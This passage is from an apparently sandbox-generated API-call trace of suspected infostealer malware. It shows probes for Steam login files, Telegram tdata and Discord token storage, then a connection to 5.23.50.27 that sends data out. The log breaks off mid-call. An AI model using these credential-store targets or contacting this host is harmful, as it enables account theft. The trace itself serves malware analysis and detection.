pAuthnSvc=0x1b0be740*=0xa, pAuthzSvc=0x1b0be6c0*=0x0, pServerPrincName=0x1b0be6e8, pAuthnLevel=0x1b0be6c4*=0x6, pImpLevel=0x1b0be6d0*=0x2, pAuthInfo=0x1b0be6f8, pCapabilites=0x1b0be6d4*=0x1) returned 0x0 [0214.202] IUnknown:Release (This=0x1d35bd08) returned 0x1 [0214.203] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be610 | out: ppvObject=0x1b0be610*=0x1b3516c8) returned 0x0 [0214.203] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be620 | out: ppvObject=0x1b0be620*=0x1d35bd08) returned 0x0 [0214.203] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0214.953] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0214.953] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0214.953] CoTaskMemFree (pv=0x1d471290) [0214.953] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be0e0 | out: ppvObject=0x1b0be0e0*=0x1b3516c8) returned 0x0 [0214.953] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0be170 | out: ppvObject=0x1b0be170*=0x0) returned 0x80004002 [0215.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bdd90 | out: ppvObject=0x1b0bdd90*=0x0) returned 0x80004002 [0215.880] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bd968 | out: ppvObject=0x1b0bd968*=0x0) returned 0x80004002 [0216.659] WbemLocator:IUnknown:AddRef (This=0x1b3516c8) returned 0x3 [0216.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bd828 | out: ppvObject=0x1b0bd828*=0x0) returned 0x80004002 [0216.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bd7b0 | out: ppvObject=0x1b0bd7b0*=0x0) returned 0x80004002 [0216.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bd7a0 | out: ppvObject=0x1b0bd7a0*=0x1b3515a8) returned 0x0 [0216.659] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3515a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bd7c8 | out: pCid=0x1b0bd7c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0216.659] WbemLocator:IUnknown:Release (This=0x1b3515a8) returned 0x3 [0216.659] CoGetContextToken (in: pToken=0x1b0bd850 | out: pToken=0x1b0bd850) returned 0x0 [0216.659] CoGetContextToken (in: pToken=0x1b0bdcd0 | out: pToken=0x1b0bdcd0) returned 0x0 [0216.659] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bdd90 | out: ppvObject=0x1b0bdd90*=0x1b351690) returned 0x0 [0216.660] WbemLocator:IRpcOptions:Query (in: This=0x1b351690, pPrx=0x1b3516c8, dwProperty=2, pdwValue=0x1b0bdd80 | out: pdwValue=0x1b0bdd80) returned 0x80004002 [0216.660] WbemLocator:IUnknown:Release (This=0x1b351690) returned 0x3 [0216.660] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x2 [0216.660] CoGetContextToken (in: pToken=0x1b0be390 | out: pToken=0x1b0be390) returned 0x0 [0216.660] CoGetContextToken (in: pToken=0x1b0be290 | out: pToken=0x1b0be290) returned 0x0 [0216.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x1b0be3f0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0be3c0 | out: ppvObject=0x1b0be3c0*=0x1d35bd00) returned 0x0 [0216.660] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0216.660] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0216.660] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0216.660] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x2 [0216.660] SysStringLen (param_1=0x0) returned 0x0 [0216.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1b0bea48 | out: puCount=0x1b0bea48*=0x2) returned 0x0 [0216.660] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0bea40*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bea40*=0xf, pszText=0x0) returned 0x0 [0216.661] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1b0bea40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bea40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0216.661] CoGetContextToken (in: pToken=0x1b0be690 | out: pToken=0x1b0be690) returned 0x0 [0216.661] IUnknown:AddRef (This=0x1d35bd00) returned 0x3 [0216.661] IEnumWbemClassObject:Clone (in: This=0x1d35bd00, ppEnum=0x1b0bea90 | out: ppEnum=0x1b0bea90*=0x1d35cb70) returned 0x0 [0217.113] IUnknown:QueryInterface (in: This=0x1d35cb70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be818 | out: ppvObject=0x1b0be818*=0x1d35cb78) returned 0x0 [0217.113] IClientSecurity:QueryBlanket (in: This=0x1d35cb78, pProxy=0x1d35cb70, pAuthnSvc=0x1b0be8e0, pAuthzSvc=0x1b0be860, pServerPrincName=0x1b0be888, pAuthnLevel=0x1b0be864, pImpLevel=0x1b0be870, pAuthInfo=0x1b0be898, pCapabilites=0x1b0be874 | out: pAuthnSvc=0x1b0be8e0*=0xa, pAuthzSvc=0x1b0be860*=0x0, pServerPrincName=0x1b0be888, pAuthnLevel=0x1b0be864*=0x6, pImpLevel=0x1b0be870*=0x2, pAuthInfo=0x1b0be898, pCapabilites=0x1b0be874*=0x1) returned 0x0 [0217.113] IUnknown:Release (This=0x1d35cb78) returned 0x1 [0217.113] IUnknown:QueryInterface (in: This=0x1d35cb70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be7b0 | out: ppvObject=0x1b0be7b0*=0x1b351048) returned 0x0 [0217.113] IUnknown:QueryInterface (in: This=0x1d35cb70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be7c0 | out: ppvObject=0x1b0be7c0*=0x1d35cb78) returned 0x0 [0217.113] IClientSecurity:SetBlanket (This=0x1d35cb78, pProxy=0x1d35cb70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0217.480] IUnknown:Release (This=0x1d35cb78) returned 0x2 [0217.480] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0217.480] CoTaskMemFree (pv=0x1d470c00) [0217.481] IUnknown:QueryInterface (in: This=0x1d35cb70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0be270 | out: ppvObject=0x1b0be270*=0x1b351048) returned 0x0 [0217.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0be300 | out: ppvObject=0x1b0be300*=0x0) returned 0x80004002 [0217.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bdf20 | out: ppvObject=0x1b0bdf20*=0x0) returned 0x80004002 [0217.482] IUnknown:QueryInterface (in: This=0x1d35cb70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bdaf8 | out: ppvObject=0x1b0bdaf8*=0x0) returned 0x80004002 [0217.482] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0217.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bd9b8 | out: ppvObject=0x1b0bd9b8*=0x0) returned 0x80004002 [0217.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bd940 | out: ppvObject=0x1b0bd940*=0x0) returned 0x80004002 [0217.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bd930 | out: ppvObject=0x1b0bd930*=0x1b350f28) returned 0x0 [0217.483] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bd958 | out: pCid=0x1b0bd958*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0217.483] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0217.483] CoGetContextToken (in: pToken=0x1b0bd9e0 | out: pToken=0x1b0bd9e0) returned 0x0 [0217.483] CoGetContextToken (in: pToken=0x1b0bde60 | out: pToken=0x1b0bde60) returned 0x0 [0217.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bdf20 | out: ppvObject=0x1b0bdf20*=0x1b351010) returned 0x0 [0217.483] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1b0bdf10 | out: pdwValue=0x1b0bdf10) returned 0x80004002 [0217.483] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0217.483] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0217.483] CoGetContextToken (in: pToken=0x1b0be520 | out: pToken=0x1b0be520) returned 0x0 [0217.483] CoGetContextToken (in: pToken=0x1b0be420 | out: pToken=0x1b0be420) returned 0x0 [0217.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1b0be580*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0be550 | out: ppvObject=0x1b0be550*=0x1d35cb70) returned 0x0 [0217.483] IUnknown:AddRef (This=0x1d35cb70) returned 0x4 [0217.483] IUnknown:Release (This=0x1d35cb70) returned 0x3 [0217.483] IUnknown:Release (This=0x1d35cb70) returned 0x2 [0217.483] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0217.483] SysStringLen (param_1=0x0) returned 0x0 [0217.484] IEnumWbemClassObject:Reset (This=0x1d35cb70) returned 0x0 [0217.485] CoTaskMemAlloc (cb=0x8) returned 0x1b3536a0 [0217.485] IEnumWbemClassObject:Next (in: This=0x1d35cb70, lTimeout=-1, uCount=0x1, apObjects=0x1b3536a0, puReturned=0x293c188 | out: apObjects=0x1b3536a0*=0x0, puReturned=0x293c188*=0x0) returned 0x1 [0234.345] CoTaskMemFree (pv=0x1b3536a0) [0234.345] CoGetContextToken (in: pToken=0x1b0be8d0 | out: pToken=0x1b0be8d0) returned 0x0 [0234.345] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0234.345] IUnknown:Release (This=0x1d35cb70) returned 0x0 [0234.396] waveInGetNumDevs () returned 0x1 [0234.399] waveInGetDevCapsW (in: uDeviceID=0x0, pwic=0x1b0beb48, cbwic=0x94 | out: pwic=0x1b0beb48) returned 0x0 [0234.405] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0beb38 | out: phkResult=0x1b0beb38*=0x0) returned 0x2 [0234.411] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbe98 | out: phkResult=0x1b0bbe98*=0x0) returned 0x2 [0234.458] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0beb38 | out: phkResult=0x1b0beb38*=0x0) returned 0x2 [0234.460] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbe98 | out: phkResult=0x1b0bbe98*=0x0) returned 0x2 [0234.463] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0beb38 | out: phkResult=0x1b0beb38*=0x0) returned 0x2 [0234.466] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbe98 | out: phkResult=0x1b0bbe98*=0x0) returned 0x2 [0234.469] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be998 | out: phkResult=0x1b0be998*=0x0) returned 0x2 [0234.471] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbcf8 | out: phkResult=0x1b0bbcf8*=0x0) returned 0x2 [0234.474] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be998 | out: phkResult=0x1b0be998*=0x0) returned 0x2 [0234.477] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbcf8 | out: phkResult=0x1b0bbcf8*=0x0) returned 0x2 [0234.481] GetFullPathNameW (in: lpFileName="Unknown\\config\\loginusers.vdf", nBufferLength=0x105, lpBuffer=0x1b0be410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\config\\loginusers.vdf", lpFilePart=0x0) returned 0x3b [0234.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0be8f0) returned 1 [0234.481] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\config\\loginusers.vdf" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\unknown\\config\\loginusers.vdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0234.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac30) returned 1 [0234.488] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0be9e8 | out: phkResult=0x1b0be9e8*=0x0) returned 0x2 [0234.490] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bbd48 | out: phkResult=0x1b0bbd48*=0x0) returned 0x2 [0234.493] GetFullPathNameW (in: lpFileName="Unknown\\steamapps\\common", nBufferLength=0x105, lpBuffer=0x1b0be660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\steamapps\\common", lpFilePart=0x0) returned 0x36 [0234.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0beab0) returned 1 [0234.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\steamapps\\common" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\unknown\\steamapps\\common"), fInfoLevelId=0x0, lpFileInformation=0x1b0beb90 | out: lpFileInformation=0x1b0beb90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0234.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bea70) returned 1 [0234.495] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0bea08 | out: phkResult=0x1b0bea08*=0x0) returned 0x2 [0234.501] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0be590, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0234.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0be9e0) returned 1 [0234.501] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0beac0 | out: lpFileInformation=0x1b0beac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0234.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0be9a0) returned 1 [0234.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b0bea60 | out: SystemInformation=0x124815b0, ResultLength=0x1b0bea60*=0x1db60) returned 0x0 [0234.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b0bea60 | out: SystemInformation=0x124815b0, ResultLength=0x1b0bea60*=0x1db60) returned 0x0 [0234.603] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b0bea60 | out: SystemInformation=0x124815b0, ResultLength=0x1b0bea60*=0x1db60) returned 0x0 [0234.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b0bea60 | out: SystemInformation=0x124815b0, ResultLength=0x1b0bea60*=0x1db60) returned 0x0 [0234.608] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b0be590, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0234.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0be9e0) returned 1 [0234.608] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b0beac0 | out: lpFileInformation=0x1b0beac0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0234.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0be9a0) returned 1 [0234.613] CoTaskMemAlloc (cb=0x20c) returned 0x1b3442f0 [0234.613] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1b3442f0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0234.614] CoTaskMemFree (pv=0x1b3442f0) [0234.614] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b0be520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0234.614] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1b0be6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x44 [0234.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0beb00) returned 1 [0234.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1b0bebe0 | out: lpFileInformation=0x1b0bebe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0234.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0beac0) returned 1 [0239.372] QueryPerformanceCounter (in: lpPerformanceCount=0x1b0be758 | out: lpPerformanceCount=0x1b0be758*=1155824453274) returned 1 [0239.380] select (in: nfds=0, readfds=0x29630b0, writefds=0x0, exceptfds=0x0, timeout=0x1b0be5a8*(tv_sec=0, tv_usec=0) | out: readfds=0x29630b0, writefds=0x0, exceptfds=0x0) returned 1 [0239.389] shutdown (s=0x7d0, how=2) returned 0 [0239.392] setsockopt (s=0x7d0, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0239.392] closesocket (s=0x7d0) returned 0 [0239.393] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7d0 [0239.394] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xd00 [0239.394] WSAConnect (in: s=0x7d0, name=0x29637c0*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0239.448] closesocket (s=0xd00) returned 0 [0239.449] send (s=0x7d0, buf=0x29ebed0*, len=827, flags=0) returned 827 [0239.450] setsockopt (s=0x7d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0239.450] recv (in: s=0x7d0, buf=0x24fb4c8, len=4096, flags=0 | out: buf=0x24fb4c8*) returned 161 [0240.715] QueryPerformanceCounter (in: lpPerformanceCount=0x1b0be758 | out: lpPerformanceCount=0x1b0be758*=1155958740363) returned 1 [0240.715] SetEvent (hEvent=0x300) returned 1 [0240.716] select (in: nfds=0, readfds=0x27cbf20, writefds=0x0, exceptfds=0x0, timeout=0x1b0be5a8*(tv_sec=0, tv_usec=0) | out: readfds=0x27cbf20, writefds=0x0, exceptfds=0x0) returned 0 [0240.719] send (s=0x7d0, buf=0x27cd9d8*, len=2884, flags=0) returned 2884 [0240.720] recv (in: s=0x7d0, buf=0x24fb4c8, len=4096, flags=0 | out: buf=0x24fb4c8*) returned 161 [0241.846] SetEvent (hEvent=0x300) returned 1 [0264.348] CoUninitialize () Thread: id = 225 os_tid = 0xb98 Thread: id = 226 os_tid = 0x13a0 [0141.806] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0141.806] CoGetContextToken (in: pToken=0x1b1bf4e0 | out: pToken=0x1b1bf4e0) returned 0x0 [0141.806] CObjectContext::QueryInterface () returned 0x0 [0141.806] CObjectContext::GetCurrentThreadType () returned 0x0 [0141.807] Release () returned 0x0 [0141.807] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0141.807] CoUninitialize () [0141.807] RoInitialize () returned 0x1 [0141.807] RoUninitialize () returned 0x0 [0152.259] NtQuerySystemInformation (in: SystemInformationClass=0x5, 